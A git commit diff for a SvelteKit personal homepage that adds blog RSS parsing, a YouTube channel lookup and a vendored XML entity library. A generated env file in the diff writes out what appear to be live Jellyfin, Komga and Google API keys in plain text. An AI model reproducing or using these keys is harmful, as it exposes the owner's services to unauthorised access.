parsing blog successfully and requesting youtube

This commit is contained in:
2026-11-04 13:46:19 +00:00
parent 0e65b8004e
commit 1ce397b734
132 changed files with 18999 additions and 52 deletions

View File

@@ -31,7 +31,13 @@ export function set_env(env) {
dynamic_private_env.KOMGA_API_KEY = KOMGA_API_KEY;
const KOMGA_LIBRARY_ID = validate(variables, env.KOMGA_LIBRARY_ID, "KOMGA_LIBRARY_ID", issues);
dynamic_private_env.KOMGA_LIBRARY_ID = KOMGA_LIBRARY_ID;
const BLOG_URL = validate(variables, env.BLOG_URL, "BLOG_URL", issues);
dynamic_private_env.BLOG_URL = BLOG_URL;
const GOOGLE_API_KEY = validate(variables, env.GOOGLE_API_KEY, "GOOGLE_API_KEY", issues);
dynamic_private_env.GOOGLE_API_KEY = GOOGLE_API_KEY;
const CHANNEL_ID = validate(variables, env.CHANNEL_ID, "CHANNEL_ID", issues);
dynamic_private_env.CHANNEL_ID = CHANNEL_ID;
handle_issues(issues);
}
set_env({JELLYFIN_URL:"https://watch.voidarc.co.uk/",JELLYFIN_API_KEY:"2727181a933049dcbc8d63cf0bcc15f3",JELLYFIN_PLAYLIST_ID:"e3088b1ab54766ad3668bc71a574a2f7",JELLYFIN_USER_ID:"5824596713e44e8c949f529e1a081393",JELLYFIN_LIBRARY_ID:"a656b907eb3a73532e40e44b968d0225",KOMGA_URL:"https://manga.voidarc.co.uk",KOMGA_API_KEY:"29f80f81450346199c40802b6d099002",KOMGA_LIBRARY_ID:"0N4TC3WZ89BFM"});
set_env({JELLYFIN_URL:"https://watch.voidarc.co.uk/",JELLYFIN_API_KEY:"2727181a933049dcbc8d63cf0bcc15f3",JELLYFIN_PLAYLIST_ID:"e3088b1ab54766ad3668bc71a574a2f7",JELLYFIN_USER_ID:"5824596713e44e8c949f529e1a081393",JELLYFIN_LIBRARY_ID:"a656b907eb3a73532e40e44b968d0225",KOMGA_URL:"https://manga.voidarc.co.uk",KOMGA_API_KEY:"29f80f81450346199c40802b6d099002",KOMGA_LIBRARY_ID:"0N4TC3WZ89BFM",BLOG_URL:"https://blog.voidarc.co.uk/index.xml",GOOGLE_API_KEY:"AIzaSyDH4fByDbbC8jFkW52MF8aVU2inkaCBJf0",CHANNEL_ID:"UCGB525XyCxL7zfMKKI4aN1A"});

View File

@@ -8,3 +8,6 @@ export const JELLYFIN_LIBRARY_ID = env.JELLYFIN_LIBRARY_ID;
export const KOMGA_URL = env.KOMGA_URL;
export const KOMGA_API_KEY = env.KOMGA_API_KEY;
export const KOMGA_LIBRARY_ID = env.KOMGA_LIBRARY_ID;
export const BLOG_URL = env.BLOG_URL;
export const GOOGLE_API_KEY = env.GOOGLE_API_KEY;
export const CHANNEL_ID = env.CHANNEL_ID;

View File

@@ -3,5 +3,5 @@ globalThis.__sveltekit_dev = {
env: {
// empty
},
version: "1793794104752"
version: "1793799746966"
};

View File

@@ -2,13 +2,22 @@
import type { PageServerLoad } from './$types';
import { getLatestPlaylistSong, getLatestWatchedSeries } from '#lib/server/jellyfin';
import { getLatestBook } from '#lib/server/komga';
import { JELLYFIN_PLAYLIST_ID, JELLYFIN_LIBRARY_ID, KOMGA_LIBRARY_ID } from '$app/env/private';
import { fetchBlogArticles, getChannelInfo } from '#lib/server/content';
import {
JELLYFIN_PLAYLIST_ID,
JELLYFIN_LIBRARY_ID,
KOMGA_LIBRARY_ID,
BLOG_URL,
CHANNEL_ID
} from '$app/env/private';
export const load = () => {
const latestSong = getLatestPlaylistSong(globalThis.fetch, JELLYFIN_PLAYLIST_ID);
console.log(JELLYFIN_LIBRARY_ID);
const latestSeries = getLatestWatchedSeries(globalThis.fetch, JELLYFIN_LIBRARY_ID);
const latestBook = getLatestBook(globalThis.fetch, KOMGA_LIBRARY_ID);
const blogArticles = fetchBlogArticles(BLOG_URL);
const info = getChannelInfo(CHANNEL_ID);
latestSong.catch(() => {});
latestSeries.catch(() => {});

View File

@@ -6,6 +6,7 @@
"name": "voidarc-homepage",
"dependencies": {
"@catppuccin/tailwindcss": "^1.0.0",
"fast-xml-parser": "^5.12.0",
},
"devDependencies": {
"@eslint/js": "^10.0.1",
@@ -79,6 +80,8 @@
"@keyv/serialize": ["@keyv/serialize@1.1.1", "", {}, "sha512-dXn3FZhPv0US+7dtJsIi2R+c7qWYiReoEh5zUntWCf4oSpMNib8FDhSoed6m3QyZdx5hK7iLFkYk3rNxwt8vTA=="],
"@nodable/entities": ["@nodable/entities@3.1.0", "", {}, "sha512-LsS/DjHr+uDM647Gru/cA8+J3a3HfhttwCKLyuoyN7yXTFCxKBtSgMQBvrW9yNPa2/zDRUNuGPaH5QUFoa4arQ=="],
"@oxc-project/types": ["@oxc-project/types@0.156.0", "", {}, "sha512-1Duyg48TdJNdyhEB8Xn1L36bT9Pv6GUtlKjHxOys8xkaF/rQq3XJE+bAurSK/AgIz5mGFsb77cn9Pb20+WCScw=="],
"@polka/url": ["@polka/url@1.0.0-next.29", "", {}, "sha512-wwQAWhWSuHaag8c4q/KN/vCoeOJYshAIvMQwD4GpSb3OiZklFfvAgmj0VCBBImRpuF/aFgIRzllXlVX93Jevww=="],
@@ -195,6 +198,8 @@
"ajv": ["ajv@6.15.0", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw=="],
"anynum": ["anynum@1.0.1", "", {}, "sha512-N6//FLET/tXYNM/F6ABca1oH6fWB+KlTt909Le28WMDBk8oaT4vY17DCrwg2MvmuqUKt3Ni4N5dGJ/EoBgcO6A=="],
"aria-query": ["aria-query@5.3.1", "", {}, "sha512-Z/ZeOgVl7bcSYZ/u/rh0fOpvEpq//LZmdbkXyc7syVzjPAhfOa9ebsdTSjEBDU4vs5nC98Kfduj1uFo0qyET3g=="],
"axobject-query": ["axobject-query@4.1.0", "", {}, "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ=="],
@@ -259,6 +264,10 @@
"fast-levenshtein": ["fast-levenshtein@2.0.6", "", {}, "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw=="],
"fast-xml-builder": ["fast-xml-builder@1.3.1", "", { "dependencies": { "path-expression-matcher": "^1.6.2", "xml-naming": "^0.3.0" } }, "sha512-pIM/1n3ntFXKYrUZwW7QCK0gAW7XY+wzj1YMIV3tLDvPj/V+zTGJK5e3/4WJfwj0qWw2ElNXiTixda/R+3YSug=="],
"fast-xml-parser": ["fast-xml-parser@5.12.0", "", { "dependencies": { "@nodable/entities": "^3.1.0", "fast-xml-builder": "^1.3.1", "is-unsafe": "^2.0.3", "path-expression-matcher": "^1.6.2", "strnum": "^2.5.1", "xml-naming": "^0.3.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-/pXxRBtwxY9w8z7YbgsvIPPcPvFDsTbIkWwTQJhzNJPokj+TbN6ftmcv4j/pEQDvOCNnKGDzuk5Bo2oogIOiFg=="],
"fdir": ["fdir@6.5.0", "", { "peerDependencies": { "picomatch": "^3 || ^4" }, "optionalPeers": ["picomatch"] }, "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg=="],
"file-entry-cache": ["file-entry-cache@11.1.5", "", { "dependencies": { "flat-cache": "^6.1.23" } }, "sha512-+PFTHITI08JIGhnNpGNI8T8inUpgZfk3GNEqfT9R2zZV2iFXg3CvqzSl/uEhs7TSGujYRELEANyDvS8Fj7+S7Q=="],
@@ -291,6 +300,8 @@
"is-reference": ["is-reference@3.0.3", "", { "dependencies": { "@types/estree": "^1.0.6" } }, "sha512-ixkJoqQvAP88E6wLydLGGqCJsrFUnqoH6HnaczB8XmDH1oaWU+xxdptvikTgaEhtZ53Ky6YXiBuUI2WXLMCwjw=="],
"is-unsafe": ["is-unsafe@2.0.3", "", {}, "sha512-ZBllczCCO267vgdFb6Tq3pv+LhHaCiGMdr+ZsuL+OopruAg7S+3ZDs1vD0RPC0uSrkjzbraxaGjtX1YBxjPeFQ=="],
"isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="],
"jiti": ["jiti@2.7.0", "", { "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ=="],
@@ -361,6 +372,8 @@
"path-exists": ["path-exists@4.0.0", "", {}, "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w=="],
"path-expression-matcher": ["path-expression-matcher@1.6.2", "", {}, "sha512-enSlaiat05iasnzmgNxRj8reFdj3puY2QpNgP1aPIaVfT6nn9ICuPoFlKHk8EN22HcwewshO+mN2DGbkCEOtqQ=="],
"path-key": ["path-key@3.1.1", "", {}, "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="],
"picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="],
@@ -405,6 +418,8 @@
"source-map-js": ["source-map-js@1.2.2", "", {}, "sha512-KGj/8Y43x35aZVDtt+J4mK1hoLGHULMYfSkODJNQjNDC3oW1PqPoxMwo0pLUsWM/UEGzON/NxeHywEfNXNP3Vw=="],
"strnum": ["strnum@2.5.1", "", { "dependencies": { "anynum": "^1.0.1" } }, "sha512-UM4nTLWzQiDBseVxUGxN0wJzIk0UU89Qi7pKXz9qISo+lhviJikTuikBsK/oFRlpvYHvSdz0TVoLyQ+sEpYwxA=="],
"svelte": ["svelte@5.57.3", "", { "dependencies": { "@jridgewell/remapping": "^2.3.5", "@jridgewell/sourcemap-codec": "^1.6.0", "@sveltejs/acorn-typescript": "^1.0.13", "@types/estree": "^1.0.9", "acorn": "^8.18.0", "aria-query": "5.3.1", "axobject-query": "^4.1.0", "clsx": "^2.1.1", "devalue": "^5.9.2", "esm-env": "^1.2.1", "esrap": "^2.3.6", "is-reference": "^3.0.3", "locate-character": "^3.0.0", "magic-string": "^0.30.11", "zimmerframe": "^1.1.2" } }, "sha512-5mAftM3SoDV9X0zdF386F9p2pv8iKOwi/KfBS1XnBAkVCKFzVOLHUoa8iGWAt4buoicLmyWVRpuuD5wplXOQsg=="],
"svelte-check": ["svelte-check@4.7.8", "", { "dependencies": { "@jridgewell/trace-mapping": "^0.3.25", "@sveltejs/load-config": "^0.2.3", "chokidar": "^4.0.1", "fdir": "^6.2.0", "picocolors": "^1.0.0", "sade": "^1.7.4" }, "peerDependencies": { "svelte": "^4.0.0 || ^5.0.0-next.0", "typescript": "^5.0.0 || ^6.0.0" }, "bin": { "svelte-check": "bin/svelte-check" } }, "sha512-laZ49GFHZ3b0z2PWinJWL0syehc/PTR8aHaUaTiBkWJ+4Y38nhxjmXsSz7CbGa3VdKopViVbrBH3bGNqIAI0bQ=="],
@@ -441,6 +456,8 @@
"word-wrap": ["word-wrap@1.2.5", "", {}, "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA=="],
"xml-naming": ["xml-naming@0.3.0", "", {}, "sha512-ghig2TBE/H11aOVgmahA3MhimvkBr6JIYknH/Dhdk10nXwdbIqBJsbfMxpvFPG8bAw77gN29aQWvKpmVoPlvPQ=="],
"yaml": ["yaml@1.10.3", "", {}, "sha512-vIYeF1u3CjlhAFekPPAk2h/Kv4T3mAkMox5OymRiJQB0spDP10LHvt+K7G9Ny6NuuMAb25/6n1qyUjAcGNf/AA=="],
"yocto-queue": ["yocto-queue@0.1.0", "", {}, "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q=="],

3
node_modules/$app/types/env.d.ts generated vendored
View File

@@ -10,6 +10,9 @@ declare module '$app/env/private' {
export const KOMGA_URL: string;
export const KOMGA_API_KEY: string;
export const KOMGA_LIBRARY_ID: string;
export const BLOG_URL: string;
export const GOOGLE_API_KEY: string;
export const CHANNEL_ID: string;
}
declare module '$app/env/public' {

1
node_modules/.bin/fxparser generated vendored Symbolic link
View File

@@ -0,0 +1 @@
../fast-xml-parser/src/cli/cli.js

View File

@@ -1,127 +1,127 @@
{
"hash": "1095f90b",
"hash": "0ced44a7",
"configHash": "457bb450",
"lockfileHash": "a0bb1066",
"browserHash": "8bcbfda6",
"lockfileHash": "639dee1d",
"browserHash": "2cd5c438",
"optimized": {
"@sveltejs/kit > devalue": {
"src": "../../devalue/index.js",
"file": "@sveltejs_kit_n_devalue.js",
"fileHash": "32e44f67",
"fileHash": "077eba68",
"needsInterop": false
},
"@sveltejs/kit > esm-env": {
"src": "../../esm-env/index.js",
"file": "@sveltejs_kit_n_esm-env.js",
"fileHash": "9f06982b",
"fileHash": "a4cf7607",
"needsInterop": false
},
"svelte": {
"src": "../../svelte/src/index-client.js",
"file": "svelte.js",
"fileHash": "a866a2ad",
"fileHash": "421b260f",
"needsInterop": false
},
"svelte/animate": {
"src": "../../svelte/src/animate/index.js",
"file": "svelte_animate.js",
"fileHash": "92299309",
"fileHash": "d761958c",
"needsInterop": false
},
"svelte/attachments": {
"src": "../../svelte/src/attachments/index.js",
"file": "svelte_attachments.js",
"fileHash": "6b8e771f",
"fileHash": "40dec634",
"needsInterop": false
},
"svelte/easing": {
"src": "../../svelte/src/easing/index.js",
"file": "svelte_easing.js",
"fileHash": "b4f37010",
"fileHash": "753941bf",
"needsInterop": false
},
"svelte/events": {
"src": "../../svelte/src/events/index.js",
"file": "svelte_events.js",
"fileHash": "68e2313c",
"fileHash": "874101d9",
"needsInterop": false
},
"svelte/internal": {
"src": "../../svelte/src/internal/index.js",
"file": "svelte_internal.js",
"fileHash": "3d473288",
"fileHash": "66d8aa91",
"needsInterop": true
},
"svelte/internal/client": {
"src": "../../svelte/src/internal/client/index.js",
"file": "svelte_internal_client.js",
"fileHash": "fe26d481",
"fileHash": "9aa5233d",
"needsInterop": false
},
"svelte/internal/disclose-version": {
"src": "../../svelte/src/internal/disclose-version.js",
"file": "svelte_internal_disclose-version.js",
"fileHash": "f407ea9e",
"fileHash": "9d777fc3",
"needsInterop": false
},
"svelte/internal/flags/async": {
"src": "../../svelte/src/internal/flags/async.js",
"file": "svelte_internal_flags_async.js",
"fileHash": "cd09f588",
"fileHash": "870fd5c6",
"needsInterop": false
},
"svelte/internal/flags/legacy": {
"src": "../../svelte/src/internal/flags/legacy.js",
"file": "svelte_internal_flags_legacy.js",
"fileHash": "ec04ad27",
"fileHash": "dad1c00c",
"needsInterop": false
},
"svelte/internal/flags/tracing": {
"src": "../../svelte/src/internal/flags/tracing.js",
"file": "svelte_internal_flags_tracing.js",
"fileHash": "c8c71797",
"fileHash": "fbd2f1f5",
"needsInterop": false
},
"svelte/legacy": {
"src": "../../svelte/src/legacy/legacy-client.js",
"file": "svelte_legacy.js",
"fileHash": "d1aab751",
"fileHash": "dd491873",
"needsInterop": false
},
"svelte/motion": {
"src": "../../svelte/src/motion/index.js",
"file": "svelte_motion.js",
"fileHash": "62c674ab",
"fileHash": "2be2366e",
"needsInterop": false
},
"svelte > clsx": {
"src": "../../clsx/dist/clsx.mjs",
"file": "svelte_n_clsx.js",
"fileHash": "91625499",
"fileHash": "51f7865c",
"needsInterop": false
},
"svelte/reactivity": {
"src": "../../svelte/src/reactivity/index-client.js",
"file": "svelte_reactivity.js",
"fileHash": "384f1341",
"fileHash": "6427ee44",
"needsInterop": false
},
"svelte/reactivity/window": {
"src": "../../svelte/src/reactivity/window/index.js",
"file": "svelte_reactivity_window.js",
"fileHash": "f8ecfd74",
"fileHash": "3006f4a4",
"needsInterop": false
},
"svelte/store": {
"src": "../../svelte/src/store/index-client.js",
"file": "svelte_store.js",
"fileHash": "4eb8f483",
"fileHash": "92bd9482",
"needsInterop": false
},
"svelte/transition": {
"src": "../../svelte/src/transition/index.js",
"file": "svelte_transition.js",
"fileHash": "5cec295c",
"fileHash": "8f073a86",
"needsInterop": false
}
},

View File

@@ -1,127 +1,127 @@
{
"hash": "0d8cac10",
"hash": "3e7a0d0d",
"configHash": "8e25bbcd",
"lockfileHash": "a0bb1066",
"browserHash": "26786ffb",
"lockfileHash": "639dee1d",
"browserHash": "27857297",
"optimized": {
"svelte": {
"src": "../../svelte/src/index-server.js",
"file": "svelte.js",
"fileHash": "1db45689",
"fileHash": "d22346d3",
"needsInterop": false
},
"svelte/animate": {
"src": "../../svelte/src/animate/index.js",
"file": "svelte_animate.js",
"fileHash": "0c915f74",
"fileHash": "e765e3ef",
"needsInterop": false
},
"svelte/attachments": {
"src": "../../svelte/src/attachments/index.js",
"file": "svelte_attachments.js",
"fileHash": "e3da824b",
"fileHash": "230d11ca",
"needsInterop": false
},
"svelte/compiler": {
"src": "../../svelte/src/compiler/index.js",
"file": "svelte_compiler.js",
"fileHash": "0bfd5a0b",
"fileHash": "16b968d1",
"needsInterop": false
},
"svelte/easing": {
"src": "../../svelte/src/easing/index.js",
"file": "svelte_easing.js",
"fileHash": "2a9abb2d",
"fileHash": "318452c3",
"needsInterop": false
},
"svelte/events": {
"src": "../../svelte/src/events/index.js",
"file": "svelte_events.js",
"fileHash": "17ba9113",
"fileHash": "b44561dd",
"needsInterop": false
},
"svelte/internal": {
"src": "../../svelte/src/internal/index.js",
"file": "svelte_internal.js",
"fileHash": "606b0920",
"fileHash": "1f57385d",
"needsInterop": true
},
"svelte/internal/client": {
"src": "../../svelte/src/internal/client/index.js",
"file": "svelte_internal_client.js",
"fileHash": "e18ce5d5",
"fileHash": "4bd4ef05",
"needsInterop": false
},
"svelte/internal/disclose-version": {
"src": "../../svelte/src/internal/disclose-version.js",
"file": "svelte_internal_disclose-version.js",
"fileHash": "b3f1d0c0",
"fileHash": "0a695c1d",
"needsInterop": false
},
"svelte/internal/flags/async": {
"src": "../../svelte/src/internal/flags/async.js",
"file": "svelte_internal_flags_async.js",
"fileHash": "2628755b",
"fileHash": "da9d06e5",
"needsInterop": false
},
"svelte/internal/flags/legacy": {
"src": "../../svelte/src/internal/flags/legacy.js",
"file": "svelte_internal_flags_legacy.js",
"fileHash": "c6d532b9",
"fileHash": "17637ba5",
"needsInterop": false
},
"svelte/internal/flags/tracing": {
"src": "../../svelte/src/internal/flags/tracing.js",
"file": "svelte_internal_flags_tracing.js",
"fileHash": "702d46d4",
"fileHash": "1e1653ad",
"needsInterop": false
},
"svelte/internal/server": {
"src": "../../svelte/src/internal/server/index.js",
"file": "svelte_internal_server.js",
"fileHash": "f88f2fbb",
"fileHash": "6227ee1c",
"needsInterop": false
},
"svelte/legacy": {
"src": "../../svelte/src/legacy/legacy-server.js",
"file": "svelte_legacy.js",
"fileHash": "b890770c",
"fileHash": "07215f21",
"needsInterop": false
},
"svelte/motion": {
"src": "../../svelte/src/motion/index.js",
"file": "svelte_motion.js",
"fileHash": "33f9bcb2",
"fileHash": "1b3e4942",
"needsInterop": false
},
"svelte/reactivity": {
"src": "../../svelte/src/reactivity/index-server.js",
"file": "svelte_reactivity.js",
"fileHash": "18572af8",
"fileHash": "8c82a551",
"needsInterop": false
},
"svelte/reactivity/window": {
"src": "../../svelte/src/reactivity/window/index.js",
"file": "svelte_reactivity_window.js",
"fileHash": "13ccd610",
"fileHash": "365c4854",
"needsInterop": false
},
"svelte/server": {
"src": "../../svelte/src/server/index.js",
"file": "svelte_server.js",
"fileHash": "52957867",
"fileHash": "7bcc9525",
"needsInterop": false
},
"svelte/store": {
"src": "../../svelte/src/store/index-server.js",
"file": "svelte_store.js",
"fileHash": "4e09a113",
"fileHash": "1f5a01dd",
"needsInterop": false
},
"svelte/transition": {
"src": "../../svelte/src/transition/index.js",
"file": "svelte_transition.js",
"fileHash": "97b2eb61",
"fileHash": "8f973c44",
"needsInterop": false
}
},

92
node_modules/@nodable/entities/README.md generated vendored Normal file
View File

@@ -0,0 +1,92 @@
# @nodable/entities
Fast, zero-dependency XML/HTML entity encoder and decoder for Node.js.
## Install
```bash
npm install @nodable/entities
```
## Quick start
```js
import { EntityEncoder, EntityDecoder, ALL_ENTITIES } from '@nodable/entities';
// Encode: plain text → entity references
// v3 requires an explicit entity set when encoding named (non‑ASCII) characters
const enc = new EntityEncoder({ namedEntities: ALL_ENTITIES });
enc.encode('Hello © 2024 & <stuff>');
// → 'Hello &copy; 2024 &amp; &lt;stuff&gt;'
// Decode: entity references → plain text
const dec = new EntityDecoder({ namedEntities: ALL_ENTITIES });
dec.decode('Hello &copy; 2024 &amp; &lt;stuff&gt;');
// → 'Hello © 2024 & <stuff>'
```
If you only need to encode XML‑unsafe characters (`&`, `<`, `>`, `"`, `'`), you can disable named‑entity encoding entirely and avoid importing any entity set:
```js
const enc = new EntityEncoder({ encodeAllNamed: false });
enc.encode('© <stuff>'); // → '© &lt;stuff&gt;' (copyright stays literal)
```
To encode only a specific subset of characters (e.g. common HTML entities), pass a custom map:
```js
import { EntityEncoder, COMMON_HTML, CURRENCY } from '@nodable/entities';
const enc = new EntityEncoder({ namedEntities: { ...COMMON_HTML, ...CURRENCY } });
enc.encode('Price: 10 © 2024'); // only COMMON_HTML/CURRENCY entities are recognized
```
---
## Migration from v2 to v3
**Breaking change:**
In v2, `new EntityEncoder()` automatically used the full built‑in entity set to encode non‑ASCII characters (like `©` → `&copy;`). This caused poor tree‑shaking: every consumer paid the cost of the entire entity table, even if they never used it.
In v3, **`EntityEncoder` no longer includes a default entity set**.
If you pass no options and `encodeAllNamed` is `true` (the default), the constructor will **throw an error**:
```js
const enc = new EntityEncoder(); // throws: "encodeAllNamed is true but no `namedEntities` was provided"
```
### How to update
| What you need | v2 code | v3 code |
|---------------|---------|---------|
| **Full built‑in set** (same as v2) | `new EntityEncoder()` | `import { ALL_ENTITIES } from '@nodable/entities';`<br>`new EntityEncoder({ namedEntities: ALL_ENTITIES })` |
| **Only XML‑unsafe chars** (no named entities) | `new EntityEncoder({ encodeAllNamed: false })` | **Same** – no change |
| **Custom subset** | `new EntityEncoder({ namedEntities: myMap })` | **Same** – but now your map is required for named‑entity encoding |
This change allows bundlers to tree‑shake unused entity categories – you only pay for the characters you actually encode.
### Upgrading step‑by‑step
1. Update to `@nodable/entities@3.0.0`.
2. Find all `new EntityEncoder()` calls in your project.
3. Decide:
- If you need the full set: import `ALL_ENTITIES` and pass it as `namedEntities`.
- If you only need XML‑unsafe escaping: add `{ encodeAllNamed: false }`.
- If you used a custom set: keep it as‑is – it already worked.
4. Run your tests – the encoder should now behave as before, but with better bundle size.
## Performance
| | encode | decode |
|---|---|---|
| `entities` (npm) | 3.65 M req/s | 1.76 M req/s |
| `@nodable/entities` | 3.33 M req/s | **5.19 M req/s** |
## Documentation
- [EntityEncoder](docs/EntityEncoder.md) — options, API, recipes
- [EntityDecoder](docs/EntityDecoder.md) — options, API, security limits, entity sets
## License
MIT

57
node_modules/@nodable/entities/package.json generated vendored Normal file
View File

@@ -0,0 +1,57 @@
{
"name": "@nodable/entities",
"version": "3.1.0",
"description": "Entity parser for XML, HTML, External entites with security and NCR control",
"main": "./src/index.js",
"type": "module",
"sideEffects": false,
"types": "./src/index.d.ts",
"scripts": {
"test": "node --experimental-vm-modules node_modules/.bin/jest",
"test:watch": "node --experimental-vm-modules node_modules/.bin/jest --watch",
"test:coverage": "node --experimental-vm-modules node_modules/.bin/jest --coverage",
"lint": "eslint src/ test/"
},
"files": [
"src",
"README.md"
],
"repository": {
"type": "git",
"url": "git+https://github.com/nodable/val-parsers.git"
},
"keywords": [
"fast",
"xml",
"html",
"entity",
"entities",
"stringify",
"encode",
"decode",
"ncr",
"security",
"safe",
"performance"
],
"author": "Amit Gupta (https://solothought.com)",
"license": "MIT",
"publishConfig": {
"access": "public"
},
"devDependencies": {
"jest": "^29.7.0"
},
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/nodable"
}
],
"jest": {
"testMatch": [
"**/?(*.)+(spec|test).[jt]s?(x)",
"**/*_spec.[jt]s?(x)"
]
}
}

644
node_modules/@nodable/entities/src/EntityDecoder.js generated vendored Normal file
View File

@@ -0,0 +1,644 @@
// ---------------------------------------------------------------------------
// Built-in named entity map (name → replacement string)
// No regex, no {regex,val} objects — just flat key/value pairs.
// ---------------------------------------------------------------------------
import { XML as DEFAULT_XML_ENTITIES } from "./entities.js"
// ---------------------------------------------------------------------------
// Entity hook action constants
// ---------------------------------------------------------------------------
/**
* Action constants for `onExternalEntity` and `onInputEntity` hooks.
*
* Use these instead of raw strings to avoid typos:
*
* @example
* import EntityDecoder, { ENTITY_ACTION } from './EntityDecoder.js';
* const dec = new EntityDecoder({
* onInputEntity: (name, value) => ENTITY_ACTION.BLOCK,
* });
*/
export const ENTITY_ACTION = Object.freeze({
/** Resolve and expand the entity normally. */
ALLOW: 'allow',
/** Silently skip this entity — it will not be registered. */
BLOCK: 'block',
/** Throw an error, aborting entity registration entirely. */
THROW: 'throw',
});
// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------
const SPECIAL_CHARS = new Set('!?\\\\/[]$%{}^&*()<>|+');
/**
* Validate that an entity name contains no dangerous characters.
* @param {string} name
* @returns {string} the name, unchanged
* @throws {Error} on invalid characters
*/
function validateEntityName(name) {
if (name[0] === '#') {
throw new Error(`[EntityReplacer] Invalid character '#' in entity name: "${name}"`);
}
for (const ch of name) {
if (SPECIAL_CHARS.has(ch)) {
throw new Error(`[EntityReplacer] Invalid character '${ch}' in entity name: "${name}"`);
}
}
return name;
}
/**
* Merge one or more entity maps into a flat name→string map.
* Accepts either:
* - plain string values: { amp: '&' }
* - legacy {regex,val} / {regx,val}: { lt: { regex: /.../, val: '<' } }
*
* Values containing '&' are skipped (recursive expansion risk).
*
* @param {...object} maps
* @returns {Record<string, string>}
*/
function mergeEntityMaps(...maps) {
const out = Object.create(null);
for (const map of maps) {
if (!map) continue;
for (const key of Object.keys(map)) {
const raw = map[key];
if (typeof raw === 'string') {
out[key] = raw;
} else if (raw && typeof raw === 'object' && raw.val !== undefined) {
// Legacy {regex,val} or {regx,val} — extract the string val only
const val = raw.val;
if (typeof val === 'string') {
out[key] = val;
}
// function vals are not supported in the scanner — skip
}
}
}
return out;
}
// ---------------------------------------------------------------------------
// applyLimitsTo helpers
// ---------------------------------------------------------------------------
const LIMIT_TIER_EXTERNAL = 'external'; // input/runtime + persistent external maps
const LIMIT_TIER_BASE = 'base'; // DEFAULT_XML_ENTITIES + namedEntities (system) maps
const LIMIT_TIER_ALL = 'all'; // every entity regardless of tier
/**
* Resolve `applyLimitsTo` option into a normalised Set of tier strings.
* Accepted values: 'external' | 'base' | 'all' | string[]
* Default: 'external' (only untrusted injected entities are counted).
* @param {string|string[]|undefined} raw
* @returns {Set<string>}
*/
function parseLimitTiers(raw) {
if (!raw || raw === LIMIT_TIER_EXTERNAL) return new Set([LIMIT_TIER_EXTERNAL]);
if (raw === LIMIT_TIER_ALL) return new Set([LIMIT_TIER_ALL]);
if (raw === LIMIT_TIER_BASE) return new Set([LIMIT_TIER_BASE]);
if (Array.isArray(raw)) return new Set(raw);
return new Set([LIMIT_TIER_EXTERNAL]); // safe default for unrecognised values
}
// ---------------------------------------------------------------------------
// NCR (Numeric Character Reference) classification
// ---------------------------------------------------------------------------
// Severity order — higher number = stricter action.
// Used to enforce minimum action levels for specific codepoint ranges.
const NCR_LEVEL = Object.freeze({ allow: 0, leave: 1, remove: 2, throw: 3 });
// XML 1.0 §2.2: allowed chars are #x9 | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD] | [#x10000-#x10FFFF]
// Restricted C0: U+0001–U+001F excluding U+0009, U+000A, U+000D
const XML10_ALLOWED_C0 = new Set([0x09, 0x0A, 0x0D]);
/**
* Parse the `ncr` constructor option into flat, hot-path-friendly fields.
* @param {object|undefined} ncr
* @returns {{ xmlVersion: number, onLevel: number, nullLevel: number }}
*/
function parseNCRConfig(ncr) {
if (!ncr) {
return { xmlVersion: 1.0, onLevel: NCR_LEVEL.allow, nullLevel: NCR_LEVEL.remove };
}
const xmlVersion = ncr.xmlVersion === 1.1 ? 1.1 : 1.0;
const onLevel = NCR_LEVEL[ncr.onNCR] ?? NCR_LEVEL.allow;
const nullLevel = NCR_LEVEL[ncr.nullNCR] ?? NCR_LEVEL.remove;
// 'allow' is not meaningful for null — clamp to at least 'remove'
const clampedNull = Math.max(nullLevel, NCR_LEVEL.remove);
return { xmlVersion, onLevel, nullLevel: clampedNull };
}
// ---------------------------------------------------------------------------
// EntityReplacer
// ---------------------------------------------------------------------------
/**
* Single-pass, zero-regex entity replacer for XML/HTML content.
*
* Algorithm: scan the string once for '&', read to ';', resolve via map
* or direct codepoint conversion, build output chunks, join once at the end.
*
* Entity lookup priority (highest → lowest):
* 1. input / runtime (DOCTYPE entities for current document)
